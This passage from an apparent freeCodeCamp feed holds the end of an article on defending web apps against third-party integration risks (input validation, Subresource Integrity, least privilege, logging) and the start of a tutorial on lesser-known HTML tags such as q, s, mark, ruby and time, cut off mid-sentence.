<p>It's a mistake to assume that data from integrated partners or services is automatically safe. Every piece of data you receive, be it a payment gateway, analytics tool, or marketing app, should be treated as potentially unsafe until verified. </p>
<p>Apply the same input validation rules you use for end-user data: check formats, restrict values, and escape inputs before they interact with your system. This protects you from injection attacks, corrupted data, and API misuse.</p>
<p>To make this more concrete, here’s a simple example of how you might validate incoming data with JavaScript from a marketing app or third-party integration:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">validateIncomingData</span>(<span class="hljs-params">data</span>) </span>{
  <span class="hljs-keyword">const</span> emailPattern = <span class="hljs-regexp">/^[^\s@]+@[^\s@]+\.[^\s@]+$/</span>;
  <span class="hljs-keyword">const</span> phonePattern = <span class="hljs-regexp">/^\+\d{1,3}\d{7,14}$/</span>; <span class="hljs-comment">// E.164 international format</span>

  <span class="hljs-keyword">if</span> (!emailPattern.test(data.email)) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Invalid email address"</span>);
  }

  <span class="hljs-keyword">if</span> (!phonePattern.test(data.phone)) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Invalid phone number format"</span>);
  }

  <span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> data.campaignId !== <span class="hljs-string">'string'</span> || data.campaignId.trim() === <span class="hljs-string">''</span>) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Missing or invalid campaign ID"</span>);
  }
  <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This snippet validates a properly formatted email address, a phone number in international format, and a non-empty campaign ID to ensure tracking consistency. By validating input like this before it’s processed or stored, you reduce the risk of injection attacks, data corruption, or accidental misuse from faulty third-party integrations</p>
<h4 id="heading-3-use-subresource-integrity-sri-to-verify-third-party-resources">3. Use Subresource Integrity (SRI) to verify third-party resources</h4>
<p>When integrating third-party scripts (like CDNs for fonts, analytics trackers, or payment tools), use SRI tags to ensure the code hasn’t been tampered with. </p>
<p>SRI allows you to define a cryptographic hash for each file, and the browser will block any file that doesn’t match the expected fingerprint. This prevents malicious actors from swapping out legitimate scripts with compromised ones – and it adds a critical layer of trust and security to your frontend architecture.</p>
<p>Here’s how to use it:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdn.example.com/library.js"</span>
        <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GhOaAbfDQ4b9PrZqKmWqlL8Amoy0WyyF8JCE4"</span>
        <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">"anonymous"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<ul>
<li><p>integrity: This is the SRI hash (typically SHA-256, SHA-384, or SHA-512) of the file contents.</p>
</li>
<li><p>crossorigin: Required if the resource is hosted on a different domain. Use anonymous unless the resource requires credentials.</p>
</li>
</ul>
<p>You can generate the SRI hash using tools like <a target="_blank" href="https://www.srihash.org/">SRI Hash Generator</a> or command-line tools like openssl.</p>
<h4 id="heading-4-limit-third-party-access-to-only-the-data-and-functions-they-need">4. Limit third-party access to only the data and functions they need</h4>
<p>Just because a third-party service needs access to your data doesn't mean it should have full visibility into your systems. Apply the principle of least privilege by configuring integrations with narrow scopes – limiting permissions to only the endpoints or datasets necessary for their function. </p>
<p>For example, an email marketing tool doesn’t need access to billing data, and a CRM shouldn’t touch your backend server settings.</p>
<h4 id="heading-5-monitor-and-log-all-third-party-activity">5. Monitor and log all third-party activity</h4>
<p>Visibility is key to detecting abuse or performance issues. Ensure that all API requests and third-party interactions are logged, including timestamps, endpoints accessed, IP addresses, and payloads. </p>
<p>Use this data to detect unusual patterns (like a spike in failed requests) and respond quickly to potential breaches. Some platforms also offer rate limiting to restrict excessive or suspicious activity.</p>
<p>Let’s say you notice a spike in 401 (Unauthorized) responses from a specific IP over a short period. Your logs show repeated attempts to access a payment processing API without valid credentials.</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"timestamp"</span>: <span class="hljs-string">"2025-05-26T14:32:10Z"</span>,
  <span class="hljs-attr">"endpoint"</span>: <span class="hljs-string">"/api/v1/payments"</span>,
  <span class="hljs-attr">"method"</span>: <span class="hljs-string">"POST"</span>,
  <span class="hljs-attr">"ip"</span>: <span class="hljs-string">"192.0.2.45"</span>,
  <span class="hljs-attr">"response_code"</span>: <span class="hljs-number">401</span>
}
</code></pre>
<p>What you’d do with this data:</p>
<ul>
<li><p>Temporarily block the IP or trigger a CAPTCHA challenge.</p>
</li>
<li><p>Alert the security team or log the incident for further investigation.</p>
</li>
<li><p>Set up a rule to flag similar behavior in the future.</p>
</li>
<li><p>Consider enforcing stricter authentication or rotating API keys.</p>
</li>
</ul>
<p><strong>Pro tip:</strong> Use monitoring tools (like Datadog, New Relic, or ELK Stack) with alerting capabilities so you’re notified automatically when something suspicious happens before it escalates.</p>
<h4 id="heading-6-regularly-audit-integrations-for-outdated-or-unused-connections">6. Regularly audit integrations for outdated or unused connections</h4>
<p>Over time, your stack may accumulate unused APIs, abandoned integrations, or forgotten developer keys. These can become security liabilities if left unchecked. Periodically review all third-party connections and remove anything that’s no longer active or necessary.</p>
<p>For the services you do keep, confirm they’re still being maintained, updated, and follow modern security standards.</p>
<h2 id="heading-where-the-dark-web-dumps-your-data"><strong>Where the Dark Web Dumps Your Data</strong></h2>
<p>When hackers successfully breach a website’s database, the fallout goes far and wide past the single company or specific set of information.This threat extends to e-commerce platforms, which often collect customer data. That’s why following a solid <a target="_blank" href="https://www.spocket.co/blogs/e-commerce-security-checklist">e-commerce security checklist</a> is essential to protect sensitive information and maintain customer trust.</p>
<p>Data breaches expose usernames, passwords, payment details, home addresses, birthdates, and every form of personal data you can imagine. Once stolen, this data often doesn’t just sit on the shelf: it flies out from the dark web, the underbelly of the internet where your details are sold, traded, and shared among cybercriminals.</p>
<p>From here, public perceptions rage against brand values – and every customer’s anxiety about getting identity theft insurance starts to amplify. A reused password could become the key to Netflix, and it will do greater damage when it unlocks your Discover card, Morgan-Chase, and Coinbase accounts.</p>
<p>Every personal detail can help fuel identity theft, sharpen phishing attacks, and lead to system takeover. As organizations, sites face lawsuits, huge fines, and public scorn.</p>
<p>From one site’s database, hackers can sack thousands of emails, passwords, card numbers, phone numbers, addresses, images, documents, and more. This stolen data can get a pretty price when sold as a dark web data dump.</p>
<h2 id="heading-defend-your-data"><strong>Defend Your Data</strong></h2>
<p>No system or sign-in page is bulletproof, and cybersecurity is never done. Hackers use everything from phishing emails to malicious scripts to steal data, but every tactic has a defense.</p>
<p>The best start is following best practices – like quick updates, HTTPS-only, and sanitized forms. Every row of data stored can suddenly evolve into a complex, rampant threat to users.</p>
<p>We should all aim to save only the most necessary data, locking up our card numbers, passwords, and usernames with strong, “slow-hash” encryption.</p>
<p>Preventing damage to our business and ourselves means committing to careful online practices while we await the latest developer’s patch toward safer online pastures.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Less Common HTML Elements and How to Use Them in Your Code ]]>
                </title>
                <description>
                    <![CDATA[ HTML has a lot of tags that many people use every day, like <div>, <p>, and <a>. But there are also some hidden gems that often go unnoticed. These tags can help make websites more engaging, accessible, and meaningful without much extra effort. In th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/less-common-html-elements-and-how-to-use-them/</link>
                <guid isPermaLink="false">67292117f26a058bcaa2e19d</guid>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Accessibility ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Joan Ayebola ]]>
                </dc:creator>
                <pubDate>Mon, 04 Nov 2024 19:31:35 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1730747551049/73b334f4-7b4a-448a-bfae-8b95cffe6119.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>HTML has a lot of tags that many people use every day, like <code>&lt;div&gt;</code>, <code>&lt;p&gt;</code>, and <code>&lt;a&gt;</code>. But there are also some hidden gems that often go unnoticed. These tags can help make websites more engaging, accessible, and meaningful without much extra effort.</p>
<p>In this article, we’ll discuss a group of unique HTML elements that can enhance your web pages. They offer specific functions for formatting text, improving readability, and adding interactive features.</p>
<h3 id="heading-table-of-contents">Table of Contents</h3>
<ol>
<li><p><a class="post-section-overview" href="#heading-the-tag-short-inline-quotes">The <code>&lt;q&gt;</code> Tag: Short Inline Quotes</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-strikethrough-text">The <code>&lt;s&gt;</code> Tag: Strikethrough Text</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-highlighted-text">The <code>&lt;mark&gt;</code> Tag: Highlighted Text</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-annotating-east-asian-language-text">The <code>&lt;ruby&gt;</code> Tag: Annotating East Asian Language Text</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-semantic-time-and-date">The <code>&lt;time&gt;</code> Tag: Semantic Time and Date</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-bi-directional-text-isolation">The <code>&lt;bdi&gt;</code> Tag: Bi-Directional Text Isolation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-defining-terms">The <code>&lt;dfn&gt;</code> Tag: Defining Terms</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-line-break-opportunities">The <code>&lt;wbr&gt;</code> Tag: Line Break Opportunities</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-inserted-text">The <code>&lt;ins&gt;</code> Tag: Inserted Text</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-tag-deleted-text">The <code>&lt;del&gt;</code> Tag: Deleted Text</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ol>
<h2 id="heading-the-tag-short-inline-quotes">The <code>&lt;q&gt;</code> Tag: Short Inline Quotes</h2>
<p>The <code>&lt;q&gt;</code> tag is used to add short quotes inside a paragraph. It helps make quotes look different and easier to spot, without breaking up the flow of the text. This tag automatically adds quotation marks around the content.</p>
<h3 id="heading-description-and-syntax">Description and Syntax</h3>
<p>The basic structure of the <code>&lt;q&gt;</code> tag is simple:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>She said, <span class="hljs-tag">&lt;<span class="hljs-name">q</span>&gt;</span>This is amazing!<span class="hljs-tag">&lt;/<span class="hljs-name">q</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This would display as:<br><em>She said, “This is amazing!”</em></p>
<h3 id="heading-how-it-differs-from-the-element">How It Differs From the <code>&lt;blockquote&gt;</code> Element</h3>
<p>The <code>&lt;q&gt;</code> tag is for short quotes inside a sentence. On the other hand, the <code>&lt;blockquote&gt;</code> element is used for longer quotes that usually need their own space or paragraph.</p>
<p>For example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">blockquote</span>&gt;</span>
  "This is a long quote that needs its own space. It is different from a short quote."
<span class="hljs-tag">&lt;/<span class="hljs-name">blockquote</span>&gt;</span>
</code></pre>
<p>This block will appear with indentation and is meant to highlight a bigger chunk of quoted text.</p>
<h3 id="heading-use-cases-adding-quotations-within-paragraphs">Use Cases: Adding Quotations Within Paragraphs</h3>
<p>The <code>&lt;q&gt;</code> tag is perfect for cases where you need to mention a quote in a sentence without separating it too much. For instance, when quoting someone in an article or blog post:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The professor said, <span class="hljs-tag">&lt;<span class="hljs-name">q</span>&gt;</span>Practice makes perfect<span class="hljs-tag">&lt;/<span class="hljs-name">q</span>&gt;</span>, during the class.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>In this case, the <code>&lt;q&gt;</code> tag keeps the quote small and inside the same paragraph.</p>
<center>
<p>The professor said, <q>Practice makes perfect</q>, during the class.</p>
</center>

<h3 id="heading-browser-compatibility-and-styling-tips">Browser Compatibility and Styling Tips</h3>
<p>Most modern browsers automatically add quotation marks to the content inside a <code>&lt;q&gt;</code> tag. But you can change how it looks using CSS if needed. Here’s how you can style it:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">q</span> {
  <span class="hljs-attribute">quotes</span>: <span class="hljs-string">"«"</span> <span class="hljs-string">"»"</span>;
  <span class="hljs-attribute">font-style</span>: italic;
}
</code></pre>
<p>This code will change the quotes to French-style marks (« and ») and make the quote italic.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/YzmNWGd" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<p>Most browsers support the <code>&lt;q&gt;</code> tag, so you don’t have to worry about compatibility issues for modern users. But older browsers may need extra care, so always test if your audience uses older versions.</p>
<h2 id="heading-the-tag-strikethrough-text">The <code>&lt;s&gt;</code> Tag: Strikethrough Text</h2>
<p>The <code>&lt;s&gt;</code> tag is used to show text that is no longer correct, relevant, or has been removed. It puts a line through the middle of the text, which we call a "strikethrough." This tag is often used to indicate something that has been edited or updated.</p>
<h3 id="heading-explanation-and-usage">Explanation and Usage</h3>
<p>The <code>&lt;s&gt;</code> tag is simple to use. Wrap it around the text you want to strike through:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This product was <span class="hljs-tag">&lt;<span class="hljs-name">s</span>&gt;</span>$50<span class="hljs-tag">&lt;/<span class="hljs-name">s</span>&gt;</span> now only $30!<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This will display as:<br><em>This product was <s>$50</s> now only $30!</em></p>
<h3 id="heading-common-use-cases-indicating-removed-or-irrelevant-content">Common Use Cases: Indicating Removed or Irrelevant Content</h3>
<p>The <code>&lt;s&gt;</code> tag is great for showing price changes, edits, or content that is no longer valid. For example:</p>
<p><strong>Price updates</strong>:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">s</span>&gt;</span>$75<span class="hljs-tag">&lt;/<span class="hljs-name">s</span>&gt;</span> $50 (Limited Offer!)<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<center>
<p><s>$75</s> $50 (Limited Offer!)</p>
</center>

<p><strong>Corrections or changes</strong>:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">s</span>&gt;</span>Old website address<span class="hljs-tag">&lt;/<span class="hljs-name">s</span>&gt;</span> New website address<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<center>
<p><s>Old website address</s> New website address</p>
</center>

<p><strong>Content that’s no longer relevant</strong>:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This feature is <span class="hljs-tag">&lt;<span class="hljs-name">s</span>&gt;</span>no longer available<span class="hljs-tag">&lt;/<span class="hljs-name">s</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<center>
<p>This feature is <s>no longer available</s>.</p>
</center>

<h3 id="heading-styling-possibilities-with-css">Styling Possibilities With CSS</h3>
<p>You can customize how the strikethrough looks using CSS. For example, you can change the color of the line or the text:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">s</span> {
  <span class="hljs-attribute">text-decoration</span>: line-through;
  <span class="hljs-attribute">color</span>: red;
}
</code></pre>
<p>In this case, the text will have a red line through it, giving more emphasis to the fact it’s been crossed out.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/VwoPjWg" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<h3 id="heading-semantic-meaning-versus-visual-decoration">Semantic Meaning Versus Visual Decoration</h3>
<p>The <code>&lt;s&gt;</code> tag holds some semantic meaning. It usually represents content that was once valid but is now incorrect or outdated. It’s more than just a style change. For example, it’s perfect for showing changes in legal documents, corrections in blog posts, or updates to prices.</p>
<p>On the other hand, if you're using strikethrough just for visual decoration without meaning that the text is wrong, it’s better to use CSS directly, like this:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">span</span><span class="hljs-selector-class">.strike</span> {
  <span class="hljs-attribute">text-decoration</span>: line-through;
}
</code></pre>
<p>And then apply it in your HTML:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This text is <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"strike"</span>&gt;</span>crossed out<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span> just for fun!<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This approach is purely for styling and doesn’t carry the same meaning as the <code>&lt;s&gt;</code> tag.</p>
<h2 id="heading-the-tag-highlighted-text">The <code>&lt;mark&gt;</code> Tag: Highlighted Text</h2>
<p>The <code>&lt;mark&gt;</code> tag is used to highlight text. It helps draw attention to certain parts of your content, making them stand out. By default, browsers highlight text with a yellow background when the <code>&lt;mark&gt;</code> tag is used.</p>
<h3 id="heading-purpose-of-the-tag">Purpose of the <code>&lt;mark&gt;</code> Tag</h3>
<p>The <code>&lt;mark&gt;</code> tag is great when you want to emphasize something important. It's often used to show search results, recent changes, or any text that needs special attention.</p>
<p>Here’s an example of how it works:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is a <span class="hljs-tag">&lt;<span class="hljs-name">mark</span>&gt;</span>highlighted<span class="hljs-tag">&lt;/<span class="hljs-name">mark</span>&gt;</span> word.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This will display as:<br><em>This is a</em> <strong><em>highlighted</em></strong> <em>word.</em></p>
<h3 id="heading-best-practices-for-using-for-emphasis-or-search-results">Best Practices for Using <code>&lt;mark&gt;</code> for Emphasis or Search Results</h3>
<p><strong>Highlighting key terms</strong>: If you want to emphasize important words or phrases in an article or blog post, the <code>&lt;mark&gt;</code> tag is a simple way to do that:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The most important concept here is <span class="hljs-tag">&lt;<span class="hljs-name">mark</span>&gt;</span>efficiency<span class="hljs-tag">&lt;/<span class="hljs-name">mark</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<center>
<p>The most important concept here is <mark>efficiency</mark>.</p>
</center>

<p><strong>Search results</strong>: When showing search results on a webpage, using the <code>&lt;mark&gt;</code> tag to highlight the matching terms makes it easier for users to find what they’re looking for:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Your search for <span class="hljs-tag">&lt;<span class="hljs-name">mark</span>&gt;</span>HTML<span class="hljs-tag">&lt;/<span class="hljs-name">mark</span>&gt;</span> found these results:<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<center>
<p>Your search for <mark>HTML</mark> found these results:</p>
</center>

<p><strong>Recent updates</strong>: You can also use the <code>&lt;mark&gt;</code> tag to show new updates or changes in your content:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>We have recently added the <span class="hljs-tag">&lt;<span class="hljs-name">mark</span>&gt;</span>new feature<span class="hljs-tag">&lt;/<span class="hljs-name">mark</span>&gt;</span> to the app.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<center>
<p>We have recently added the <mark>new feature</mark> to the app.</p>
</center>

<h3 id="heading-how-to-style-highlighted-text-effectively">How to Style Highlighted Text Effectively</h3>
<p>While the default color for <code>&lt;mark&gt;</code> is yellow, you can change it with CSS to match your website’s design. Here’s an example of how to customize the highlighted text:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">mark</span> {
  <span class="hljs-attribute">background-color</span>: lightblue;
  <span class="hljs-attribute">color</span>: black;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">2px</span>;
}
</code></pre>
<p>This will give the text a light blue background with black text.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/poMRbde" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<p>If you want the text to stand out even more, you can add a border or change the font style:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">mark</span> {
  <span class="hljs-attribute">background-color</span>: yellow;
  <span class="hljs-attribute">color</span>: black;
  <span class="hljs-attribute">font-weight</span>: bold;
  <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
}
</code></pre>
<p>This would make the highlighted text look more polished and noticeable.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/OJKWXzV" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<h3 id="heading-browser-support-and-accessibility-considerations">Browser Support and Accessibility Considerations</h3>
<p>The <code>&lt;mark&gt;</code> tag is supported across all modern browsers, so you won’t face any compatibility issues. Just make sure the background color you choose provides enough contrast for readability, especially for users with visual impairments.</p>
<p>Using a light background with dark text is a good rule of thumb. Testing the color contrast ensures that the highlighted content remains accessible to everyone, including those using screen readers.</p>
<h2 id="heading-the-tag-annotating-east-asian-language-text">The <code>&lt;ruby&gt;</code> Tag: Annotating East Asian Language Text</h2>
<p>The <code>&lt;ruby&gt;</code> tag is used to add small annotations to text, often seen in East Asian languages like Japanese or Chinese. These annotations help readers with pronunciation or meaning, especially when the characters are complex or unfamiliar.</p>
<h3 id="heading-definition-and-use-cases-for">Definition and Use Cases for <code>&lt;ruby&gt;</code></h3>
<p>In languages like Japanese, it's common to use a small guide above or beside characters to show how they should be pronounced. The <code>&lt;ruby&gt;</code> tag pairs the main text with a small annotation, usually in a simpler script.</p>
<p>Here’s a basic example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>漢 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>かん<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span> 字 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>じ<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span>
</code></pre>
<p>This shows the Japanese kanji characters <em>漢字</em> with their pronunciation (furigana) displayed above or beside them as <em>かんじ</em> (kanji).</p>
<center>
<ruby>漢 <rt>かん</rt> 字 <rt>じ</rt></ruby>
</center>

<h3 id="heading-the-importance-of-the-and-sub-elements">The Importance of the <code>&lt;rp&gt;</code> and <code>&lt;rt&gt;</code> Sub-Elements</h3>
<p>The <code>&lt;rt&gt;</code> element is used inside the <code>&lt;ruby&gt;</code> tag to define the annotation (like pronunciation) for the main text. It stands for "ruby text."</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>漢 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>かん<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span>
</code></pre>
<p>This will display <em>漢</em> with <em>かん</em> (kan) above it as the annotation.</p>
<center>
<ruby>漢 <rt>かん</rt></ruby>
</center>

<p>The <code>&lt;rp&gt;</code> element, short for "ruby parenthesis," is used as a fallback for browsers that don’t support the <code>&lt;ruby&gt;</code> tag. It wraps extra characters, such as parentheses, around the ruby text to show that it’s an annotation:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>漢 <span class="hljs-tag">&lt;<span class="hljs-name">rp</span>&gt;</span>(<span class="hljs-tag">&lt;/<span class="hljs-name">rp</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>かん<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">rp</span>&gt;</span>)<span class="hljs-tag">&lt;/<span class="hljs-name">rp</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span>
</code></pre>
<p>If the browser doesn’t support ruby annotations, it will display the pronunciation inside parentheses, like this:<br><em>漢 (かん)</em>.</p>
<h3 id="heading-practical-examples-ruby-annotations-for-language-learning">Practical Examples: Ruby Annotations for Language Learning</h3>
<p>The <code>&lt;ruby&gt;</code> tag is a helpful tool for language learners. It can display the pronunciation for unfamiliar words or characters directly above or beside them. This makes it easier for beginners to read and learn new vocabulary.</p>
<p>For example, let’s say you want to help someone learn the Chinese word for "person":</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>人 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>rén<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span>
</code></pre>
<p>This would show <em>人</em> with the pronunciation <em>rén</em> above it.</p>
<center>
<ruby>人 <rt>rén</rt></ruby>
</center>

<p>For longer sentences:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>我 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>wǒ<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>是 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>shì<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">ruby</span>&gt;</span>学生 <span class="hljs-tag">&lt;<span class="hljs-name">rt</span>&gt;</span>xuéshēng<span class="hljs-tag">&lt;/<span class="hljs-name">rt</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">ruby</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This helps students see both the characters and the correct pronunciation.</p>
<center>
<p><ruby>我 <rt>wǒ</rt></ruby> <ruby>是 <rt>shì</rt></ruby> <ruby>学生 <rt>xuéshēng</rt></ruby>.</p>
</center>

<h3 id="heading-cross-browser-compatibility-and-rendering-considerations">Cross-Browser Compatibility and Rendering Considerations</h3>
<p>The <code>&lt;ruby&gt;</code> tag is supported across most modern browsers, but older ones might not render it correctly. That's where the <code>&lt;rp&gt;</code> element comes in handy, making sure the annotations are still readable if the browser doesn’t support ruby text.</p>
<p>For accessibility, make sure the annotations have enough space around them so that they are easy to read. You can also use CSS to adjust how the annotations look:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">ruby</span> <span class="hljs-selector-tag">rt</span> {
  <span class="hljs-attribute">font-size</span>: <span class="hljs-number">0.75em</span>;
  <span class="hljs-attribute">color</span>: gray;
}
</code></pre>
<p>This will make the ruby text smaller and in a different color to keep it visually separate from the main content.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/YzmNWLb" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<p>Using <code>&lt;ruby&gt;</code> is a great way to improve readability for language learners or readers unfamiliar with certain scripts. Just remember to check browser support and add fallbacks for a better user experience across different devices.</p>
<h2 id="heading-the-tag-semantic-time-and-date">The <code>&lt;time&gt;</code> Tag: Semantic Time and Date</h2>
<p>The <code>&lt;time&gt;</code> tag is used to mark dates or times in a machine-readable format. It helps search engines, browsers, and other tools recognize time-related information more clearly, which is useful for improving visibility in search results or for better data parsing.</p>
<h3 id="heading-using-the-tag-for-machine-readable-dates-and-times">Using the <code>&lt;time&gt;</code> Tag for Machine-Readable Dates and Times</h3>
<p>When you use the <code>&lt;time&gt;</code> tag, it allows you to provide dates or times that are easy for both people and computers to read. This is especially helpful on blogs, news articles, or event pages.</p>
<p>Here's an example:</p>
